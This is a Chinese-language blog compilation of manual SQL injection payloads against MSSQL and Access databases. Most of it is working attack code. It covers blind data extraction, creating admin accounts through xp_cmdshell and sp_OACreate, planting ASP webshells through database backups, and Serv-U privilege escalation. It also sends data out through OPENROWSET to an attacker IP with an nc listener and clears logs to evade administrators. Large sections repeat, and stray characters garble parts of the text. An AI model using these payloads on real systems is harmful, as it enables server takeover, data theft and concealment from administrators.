SQL手工注入-記錄

https://www.cnblogs.com/vame1/p/5776808.html

比方說在查詢id是50的數(shù)據(jù)時,如果用戶傳近來的參數(shù)是50 and 1=1,如果沒有設(shè)置過濾的話,可以直接查出來游岳,SQL 注入一般在ASP程序中遇到最多,

看看下面的

1.判斷是否有注入

;and 1=1

;and 1=2

2.初步判斷是否是mssql

;and user>0

3.判斷數(shù)據(jù)庫系統(tǒng)

;and (select count(*) from sysobjects)>0 mssql

;and (select count(*) from msysobjects)>0 access

4.注入?yún)?shù)是字符

'and [查詢條件] and ''='

5.搜索時沒過濾參數(shù)的

'and [查詢條件] and '%'='

6.猜數(shù)據(jù)庫

;and (select Count(*) from [數(shù)據(jù)庫名])>0

7.猜字段

;and (select Count(字段名) from 數(shù)據(jù)庫名)>0

8.猜字段中記錄長度

;and (select top 1 len(字段名) from 數(shù)據(jù)庫名)>0

9.(1)猜字段的ascii值(access)

; and (select top 1 asc(mid(字段名,1,1)) from 數(shù)據(jù)庫名)>0

(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 數(shù)據(jù)庫名)>0

10.測試權(quán)限結(jié)構(gòu)(mssql)

;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

;and 1=(select IS _SRVROLEMEMBER('serveradmin'));--

;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--

;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--

;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--

;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--< br />;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系統(tǒng)的帳戶

;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍歷目錄

;create table dirs(paths varchar(100), id int)

;insert dirs exec master.dbo.xp_dirtree 'c:\'

;and (select top 1 paths from dirs)>0

;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍歷目錄

;create table te mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動器

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表

;insert into temp(id,num1) exec m aster.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結(jié)構(gòu)

;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內(nèi)容

13.mssql中的存儲過程

xp_regenumvalues 注冊表根鍵, 子鍵

;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Micr osoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值

xp_regread 根鍵,子鍵,鍵值名

;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值

xp_regwrite 根鍵,子鍵, 值名, 值類型, 值

值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型

;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 寫入注冊表

xp_regdeletevalue 根鍵,子鍵,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersio n','TestvalueName' 刪除某個值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下所有值

14.mssql的backup創(chuàng)建webshell

use model

create table cmd(str image);

insert into cmd(str) values ('') ;

backup database model to disk='c:\l.asp';

15.mssql內(nèi)置函數(shù)

;and (select @@version)>0 獲得Windows的版本號

;and user_name()='dbo' 判斷當(dāng)前系統(tǒng)的連接用戶是不是sa

;and (select user_name())>0 爆當(dāng)前系統(tǒng)的連接用戶

;and (select db_name())>0 得到當(dāng)前連接的數(shù) 據(jù)庫

16.簡潔的webshell

use model

create table cmd(str image);

insert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';

請求的時候,像這樣子用:

http://ip/l.asp?c=dir

SQL手工注入大全

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell擴(kuò)展過程的方法是使用如下語句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell擴(kuò)展過程的方法是使用如下語句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlEx ec Sunx Version的Format選項(xiàng)里填上%s谅畅,在CMD選項(xiàng)里輸入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

SQL手工注入方法總結(jié)(SQL Server2005)2010-01-28 16:17---------以下以省略注入點(diǎn)用URL代替

--(1) ******查看驅(qū)動器方法******

-- 建表p(i為自動編號,a記錄盤符類似"c:",b記錄可用字節(jié),其它省略)

URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar( 255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出所有驅(qū)動器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驅(qū)動器總數(shù)

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驅(qū)動器名(注asc(c)=67)

--上面一般用于無顯錯情況下使用-------以此類推,得到所有驅(qū)動器名

URL;and (select a from p where i=1)>3;--報(bào)錯得到第一個驅(qū)動器名

--上面一般用于顯錯情況下使用-------以此類推,得到所有驅(qū)動器名

URL;;drop table p;--刪除表p

--(2) ******查看目錄方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m記錄目錄,i記錄深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驅(qū)動器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 an d m not in(select top 0 m from pa))>0;--報(bào)錯得到深度i=1的第一個目錄名

--上面一般用顯錯且目錄名不為數(shù)字情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半 法查出深度i=1的第一個目錄名的長度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一個目錄名的第一個字符長度

--上面一般用無顯錯情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄

URL;drop table pa;--刪除表pa

----------------------------經(jīng)過上面的方法就可得到服務(wù)器所有目錄(這里為連接用戶有讀取權(quán)限目錄)-----------------

--(3) 數(shù)據(jù)庫備份到Web目錄(先拿個WebShell再說吧 注:此為SQL Server2000)

URL;alter database employ_ set RECOVERY FULL;--把當(dāng)前庫L設(shè)置成日志完全恢復(fù)模式

URL;URL;c reate table s(l image);--建表s

URL;backup log s to disk = ’c:cmd’ with init;--減少備分?jǐn)?shù)據(jù)的大小

URL;URL;insert s values(’’)--在表s中插入一句話馬

URL;backup log hh to disk = ’e:\web\g.asp’;--備分日志到WEB路徑

URL;drop table s;--刪除表s

URL;alter database hh set RECOVERY SIMPLE;--把SQL設(shè)置成日志簡單恢復(fù)模式

--------------------------------------OK到此WebShell應(yīng)該到手了-----------------------------------------------

--(4) 以下為一些注入雜項(xiàng)

- ---SA權(quán)限:

URL;exec aster.dbo.sp_addlogin hacker;--添加SQL用戶

URL;exec master.dbo.sp_password null,hacker,hacker;--設(shè)置SQL帳號hacker 的密碼為 hacker

RL; exec master.dbo.sp_addsrvrolemember sysadmin hacker;--加hacker進(jìn)sysadmin管理組

URL;exec master.dbo.xp_cmdshell ’net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--建立一個系統(tǒng)用hacker 并設(shè)置其密碼為hacker

URL;exec master.dbo.xp_cmdshell ’net localgroup administrators hacker /add’;--hacker加入到管理員組

---- SQL Server2005暴庫、表噪服、段法(前提有顯錯铃彰、無顯錯用折半法)

URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到數(shù)據(jù)庫個數(shù)

URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--

--依次提交 dbid = 2.3.4... 得到更多的數(shù)據(jù)庫名

URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype=’U’);--折半法得到表個數(shù)(假設(shè)暴出庫名employ)

URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype=’U’)

-- 假設(shè)暴出 表名為"employ_qj"則在上面語句上加條件 and name not in (’employ_qj’ 以此一直加條件....

URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = ’u’ and name = ’employ_qj’));--

--假設(shè)暴出字段名為"id"則在上面語句上加上條件 and name not is(’id’) 以此一直加條件....

---------------------按上面方法庫、表芯咧、段的名稱都可以得到----用以上方法可以得到段段里的數(shù)據(jù)--------------------

select * from master.dbo.sysdatabases --查詢數(shù)據(jù)庫

select * from NetBook.dbo.sysobjects where xtype=’u’ --查詢數(shù)據(jù)庫NetBook里的表

select * from NetBook.dbo.syscolumns where id=object_id(’book’) --查詢book表里的字段

---------------------------------------------------------------------------------------------------------------

---------------------------------------SQL擴(kuò)展沙盤提權(quán)-----------------------------------

看來xp_cmdshell是不能用鳥~ 不過偶們還有SP_O Acreate可以用用SP_OAcreate一樣可以執(zhí)行系統(tǒng)命令

在查詢分析器里執(zhí)行

DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD

@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add&rsquo ;

這段代碼就是利用SP_OAcreate來添加一個gydyhook的系統(tǒng)用戶 然后直接提升為管理員權(quán)限就OK了

提示命令完成成功

直接寫

個一句話進(jìn)去

語句如下

exec master.dbo.xp_subdirs ’d:\web\www. xx.com’;

exec sp_makewebtask ’d:\web\www.XXXX.com\XX.asp’,’select’’’’ ’

提示命令執(zhí)行成功偶 們看看效果

查詢分析器里執(zhí)行select * from openrowset(’microsoft.jet.oledb.4.0’,’

;database=c:\windows\system32\ias\ias.mdb’,

’select shell("cmd.exe /c net user admin admin1234 /add")’)來利用沙盤來添加個管理員 但是事實(shí)告訴

我 我 的RP并不好

嘿嘿 使用declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate ’scripting.filesystemobject’, @o out

exec sp_oamethod @o, ’opentextfile’, @f out, ’d:\Serv-U6.3\ServU Daemon.ini’, 1

exec @ret = sp_oamethod @f, ’readline’, @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, ’readline’, @line out

end

這段代碼就可以把ServUDaemon.ini里的配置信息全部顯示出來 嘿嘿 既然能看了那偶門不是一樣可以寫進(jìn)去牙捉?

直接寫一個系統(tǒng)權(quán)限的FTP帳號 進(jìn)去

使用declare @o int, @f int, @t int, @ret int

exec sp_oacreate ’scripting.filesystemobject’, @o out

ex ec sp_oamethod @o, ’createtextfile’, @f out, ’d:\Serv-U6.3\ServUDaemon.ini’, 1

exec @ret = sp_oamethod @f, ’writeline’, NULL, 《這里添寫自己寫好的SU配置信息剛才復(fù)制的那些都要

寫上去》

然后執(zhí)行一下 成功執(zhí)行 我們再用存儲過程看看寫進(jìn)去沒有

OK 我XXXXXX 成功寫 進(jìn)去了一個用戶名為XXXX密碼為空的系統(tǒng)權(quán)限的FTP 然后偶們在FTP里執(zhí)行

quote siteXXXXXXX 提權(quán)就好了。 這里已經(jīng)很熟悉了 就不寫了敬飒。~ 然后用3389連一下 成功地到服務(wù)器權(quán)限

然后偶們再用set nocount on

declare @logicalfilename sysname,

@maxminutes int,

@newsize int 來清理掉SQL日志 免的被管理員發(fā)現(xiàn)

------

DE CLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output

EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a

------------------------------MSSQL db_owner注入利用xp_regwrite獲得系統(tǒng)權(quán)限---------------- -----------------------

xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’net user h86$ hacker /add’

呵呵邪铲,返回一個正常頁面,說明成功完成 拉无拗,再在注射點(diǎn)輸入

xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’net localgroup administrators h86$ /add’

---------------------------------------------------------------------------------------------

  簡單的如where xtype=’U’带到,字符U對應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替英染;

如果字符是 中文的揽惹,比如where name=’用戶’被饿,可以用where name=nchar(29992)+nchar(25143)代替。

-------------------------------------------備份一句話木馬----------------------------------------

日志備分WEBSHELL標(biāo)準(zhǔn)的七步:

1.InjectionURL’;alter databas e XXX set RECOVERY FULL-- (把SQL設(shè)置成日志完全恢復(fù)模式)

2.InjectionURL’;create table cmd (a image)-- (新建立一個cmd表)

3.InjectionURL’;backup log XXX to disk = ’c:cmd’ with init-- (減少備分?jǐn)?shù)據(jù)的大小)

4.InjectionURL’;in sert into cmd (a) values (’’)-- (插入一句話木馬)

5.InjectionURL’;backup log XXX to disk = ’d:chinakmtest.asp’-- (備分日志到WEB路徑)

6.InjectionURL’;drop table cmd-- (刪除新建的cmd表)

7.InjectionURL’;a lter database XXX set RECOVERY SIMPLE--(把SQL設(shè)置成日志簡單恢復(fù)模式)

注:InjectionURL是注入點(diǎn)搪搏,XXX是數(shù)據(jù)庫名稱.

數(shù)據(jù)庫差異備份代碼:

BACKUPLOGpeihuaWITHNO_LOGDBCCSHRINKDATABASE(peihua)--

dumptransactionpeihuawithno_log--

0.dump transaction 數(shù)據(jù)庫名 wi th no_log 清空日志

1狭握、create table [dbo].[jm_tmp] ([cmd] [image])-- 創(chuàng)建一個表

2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --備份數(shù)據(jù)庫疯溺,@s為備份名稱(jmdcw的16進(jìn)制轉(zhuǎn)換)

3论颅、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--將一句話木馬 ""的16進(jìn)制字符插入到表中

4、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’Crogram FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --對數(shù)據(jù)庫實(shí)行差異備份囱嫩,備份的保存路徑暫定為C盤目錄恃疯,文件名為hsqq.asp。

5墨闲、drop table [jm_tmp]-- 刪除此表今妄。

---------------------------------------------------防--------------------------------------------

Function SafeRequest(ParaName,ParaType)

 ’ --- 傳入?yún)?shù) ---

 ’ParaName:參數(shù)名稱-字符型

 ’ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

 Dim Paravalue

 Paravalue=Request(ParaName)

 If ParaType=1 then

  If not isNumeric(Paravalue) then

   Response.write "參數(shù)" &amp ; ParaName & "必須為數(shù)字型鸳碧!"

   Response.end

  End if

 Else

  Paravalue=replace(Paravalue,"’","’’")

 End if

 SafeRequest=Paravalue

End function

-- 繞過單引號繼續(xù)注入

URL;declare @cmd sy sname select @cmd=這里為你要執(zhí)行命令的16進(jìn)制 exec master.dbo.xp_cmdshell @cmd;--

--先聲明一個變量cmd蛙奖,然后把我們的指令賦值給cmd

--sql server 2005下開啟xp_cmdshell的辦法

EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure &rs quo;xp_cmdshell’, 1;RECONFIGURE;

--SQL2005開啟’OPENROWSET’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE;

--SQL2005開啟’sp_oacreate’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE;

在db權(quán)限并且分離獲取mssql數(shù)據(jù)庫服務(wù)器ip的方法

1.本地nc監(jiān) 聽 nc -vvlp 80

2.;insert into OPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;’, ’select * from dest_table’) select * from src_table;--

---------------------------------以下為檢測方法---------------------------------

--檢測可否注入

========================================================= ====================

URL and 1=1;--正常頁面

URL and 1=2;--出錯頁面

=============================================================================

--檢測數(shù)據(jù)庫的

=============================================================================< br />URL and (select count(*) from sysobjects)>0;--返回正常sql server

URL and (select count(*) from msysobjects)>0;--返回正常Access

=============================================================================

--檢測路徑的

============= ================================================================

URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;--

=============================================================================

- -檢測表段的

=============================================================================

URL and exists (select * from admin);--

=============================================================================

--檢測字段的

============= ================================================================

URL and exists (select username from admin) ;--

=============================================================================

--檢測ID

=============================== ==============================================

URL and exists (select id from admin where ID=1) ;--

=============================================================================

--檢測長度的

=========================================== ==================================

URL and exists (select id from admin where len(username)=5 and ID=1);--

=============================================================================

--檢測是否為MSSQL數(shù)據(jù)庫

============================ =================================================

URL and exists (select * from sysobjects) ;--

=============================================================================

--檢測是否為英文 ;--

========================================= ====================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS數(shù)據(jù)庫

URL and exists (select id from admin where unicode(substring(username,1,1)) betwee n 30 and 130 and ID=1) ;--MSSQL數(shù)據(jù)庫

=============================================================================

--檢測英文的范圍

=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS數(shù)據(jù)庫

URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL數(shù)據(jù)庫

================================ =============================================

--檢測那個字符

=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS數(shù)據(jù)庫

URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL數(shù)據(jù)庫

比方說在查詢id是50的數(shù)據(jù)時,如果用戶傳近來的參數(shù)是50 and 1=1杆兵,如果沒有設(shè)置過濾的話雁仲,可以直接查出來,SQL 注入一般在ASP程序中遇到最多琐脏,

看看下面的

1.判斷是否有注入

;and 1=1

; and 1=2

2.初步判斷是否是mssql

;and user>0

3.判斷數(shù)據(jù)庫系統(tǒng)

;and (select count(*) from sysobjects)>0 mssql

;and (select count(*) from msysobjects)>0 access

4.注入?yún)?shù)是字符

'and [查詢條件] and ''='

5.搜索時沒過濾參數(shù) 的

'and [查詢條件] and '%'='

6.猜數(shù)據(jù)庫

;and (select Count(*) from [數(shù)據(jù)庫名])>0

7.猜字段

;and (select Count(字段名) from 數(shù)據(jù)庫名)>0

8.猜字段中記錄長度

;and (select top 1 len(字段名) from 數(shù)據(jù)庫名)>0

9.(1)猜字段的ascii值(acc ess)

;and (select top 1 asc(mid(字段名,1,1)) from 數(shù)據(jù)庫名)>0

(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 數(shù)據(jù)庫名)>0

10.測試權(quán)限結(jié)構(gòu)(mssql)

;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

;and 1 =(select IS_SRVROLEMEMBER('serveradmin'));--

;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--

;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--

;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--

;and 1=(select IS_SRVROLEMEMBER('bulka dmin'));--

;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系統(tǒng)的帳戶

;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍歷目錄

;create table dirs(paths varchar(100), id int)

;insert dirs exec master.dbo.xp_dirtree 'c:\'

;and (select top 1 paths from dirs)>0

;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍歷目錄

;create table te mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動器

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表

;insert into temp(id,num1) exec m aster.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結(jié)構(gòu)

;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內(nèi)容

13.mssql中的存儲過程

xp_regenumvalues 注冊表根鍵, 子鍵

;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Micr osoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值

xp_regread 根鍵,子鍵,鍵值名

;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值

xp_regwrite 根鍵,子鍵, 值名, 值類型, 值

值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型

;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 寫入注冊表

xp_regdeletevalue 根鍵,子鍵,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersio n','TestvalueName' 刪除某個值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下所有值

14.mssql的backup創(chuàng)建webshell

use model

create table cmd(str image);

insert into cmd(str) values ('') ;

backup database model to disk='c:\l.asp';

15.mssql內(nèi)置函數(shù)

;and (select @@version)>0 獲得Windows的版本號

;and user_name()='dbo' 判斷當(dāng)前系統(tǒng)的連接用戶是不是sa

;and (select user_name())>0 爆當(dāng)前系統(tǒng)的連接用戶

;and (select db_name())>0 得到當(dāng)前連接的數(shù) 據(jù)庫

16.簡潔的webshell

use model

create table cmd(str image);

insert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';

請求的時候攒砖,像這樣子用:

http://ip/l.asp?c=dir

SQL手工注入大全

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell擴(kuò)展過程的方法是使用如下語句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell擴(kuò)展過程的方法是使用如下語句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlEx ec Sunx Version的Format選項(xiàng)里填上%s,在CMD選項(xiàng)里輸入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

SQL手工注入方法總結(jié)(SQL Server2005)2010-01-28 16:17---------以下以省略注入點(diǎn)用URL代替

--(1) ******查看驅(qū)動器方法******

-- 建表p(i為自動編號,a記錄盤符類似"c:",b記錄可用字節(jié),其它省略)

URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar( 255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出所有驅(qū)動器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驅(qū)動器總數(shù)

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驅(qū)動器名(注asc(c)=67)

--上面一般用于無顯錯情況下使用-------以此類推,得到所有驅(qū)動器名

URL;and (select a from p where i=1)>3;--報(bào)錯得到第一個驅(qū)動器名

--上面一般用于顯錯情況下使用-------以此類推,得到所有驅(qū)動器名

URL;;drop table p;--刪除表p

--(2) ******查看目錄方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m記錄目錄,i記錄深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驅(qū)動器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 an d m not in(select top 0 m from pa))>0;--報(bào)錯得到深度i=1的第一個目錄名

--上面一般用顯錯且目錄名不為數(shù)字情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半 法查出深度i=1的第一個目錄名的長度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一個目錄名的第一個字符長度

--上面一般用無顯錯情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄

URL;drop table pa;--刪除表pa

----------------------------經(jīng)過上面的方法就可得到服務(wù)器所有目錄(這里為連接用戶有讀取權(quán)限目錄)----- ------------

--(3) 數(shù)據(jù)庫備份到Web目錄(先拿個WebShell再說吧 注:此為SQL Server2000)

URL;alter database employ_ set RECOVERY FULL;--把當(dāng)前庫L設(shè)置成日志完全恢復(fù)模式

URL;URL;create table s(l image);--建表s

URL;backup log s to disk = ’c:cmd&rsq uo; with init;--減少備分?jǐn)?shù)據(jù)的大小

URL;URL;insert s values(’’)--在表s中插入一句話馬

URL;backup log hh to disk = ’e:\web\g.asp’;--備分日志到WEB路徑

URL;drop table s;--刪除表s

URL;alter database hh set RECOVERY SIMPLE ;--把SQL設(shè)置成日志簡單恢復(fù)模式

--------------------------------------OK到此WebShell應(yīng)該到手了-----------------------------------------------

--(4) 以下為一些注入雜項(xiàng)

----SA權(quán)限:

URL;exec aster.dbo.sp_addlogin hacker;--添加SQL用戶

URL; exec master.dbo.sp_password null,hacker,hacker;--設(shè)置SQL帳號hacker 的密碼為 hacker

RL;exec master.dbo.sp_addsrvrolemember sysadmin hacker;--加hacker進(jìn)sysadmin管理組

URL;exec master.dbo.xp_cmdshell ’net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--建立一個系統(tǒng)用hacker 并設(shè)置其密碼為hacker

URL;exec master.dbo.xp_cmdshell ’net localgroup administrators hacker /add’;--hacker加入到管理員組

----SQL Server2005暴庫日裙、表吹艇、段法(前提有顯錯、無顯錯用折半法)

URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到數(shù)據(jù)庫個數(shù)

URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--

--依次提交 dbid = 2.3.4... 得到更多的數(shù)據(jù)庫名

URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype=’U’);--折半法得到表個數(shù)(假設(shè)暴出庫名employ)

URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype=’U’)

-- 假設(shè)暴出表名為"employ_qj"則在上面語句上加條件 and name not in (’employ_qj’ 以此一直加條件....

URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = ’u’ and name = ’employ_qj’));--

--假設(shè)暴出字段名為"id"則在上面語句上加上條件 and name not is(’id’) 以此一直加條件....

---------------------按上面方法庫昂拂、表受神、段的名稱都可以得到----用以上方法可以得到段段里的數(shù)據(jù)--------------------

select * from master.dbo.sysdatabases --查詢數(shù)據(jù)庫

select * from NetBook.dbo.sysobjects where xtype=’u’ --查詢數(shù)據(jù)庫NetBook里的表

select * from NetBook.dbo.syscolumns where id=object_id(’book’) --查詢book表里的字段

---------------------------------------------------------------------------------------------------------------

---------------------------------------SQL擴(kuò)展沙盤提權(quán)-----------------------------------

看來xp_cmdshell是不能用鳥~ 不過偶們還有SP_O Acreate可以用用SP_OAcreate一樣可以執(zhí)行系統(tǒng)命令

在查詢分析器里執(zhí)行

DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD

@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add&rsquo ;

這段代碼就是利用SP_OAcreate來添加一個gydyhook的系統(tǒng)用戶 然后直接提升為管理員權(quán)限就OK了

提示命令完成成功

直接寫

個一句話進(jìn)去

語句如下

exec master.dbo.xp_subdirs ’d:\web\www. xx.com’;

exec sp_makewebtask ’d:\web\www.XXXX.com\XX.asp’,’select’’’’ ’

提示命令執(zhí)行成功偶 們看看效果

查詢分析器里執(zhí)行select * from openrowset(’microsoft.jet.oledb.4.0’,’

;database=c:\windows\system32\ias\ias.mdb’,

’select shell("cmd.exe /c net user admin admin1234 /add")’)來利用沙盤來添加個管理員 但是事實(shí)告訴

我 我 的RP并不好

嘿嘿 使用declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate ’scripting.filesystemobject’, @o out

exec sp_oamethod @o, ’opentextfile’, @f out, ’d:\Serv-U6.3\ServU Daemon.ini’, 1

exec @ret = sp_oamethod @f, ’readline’, @line out

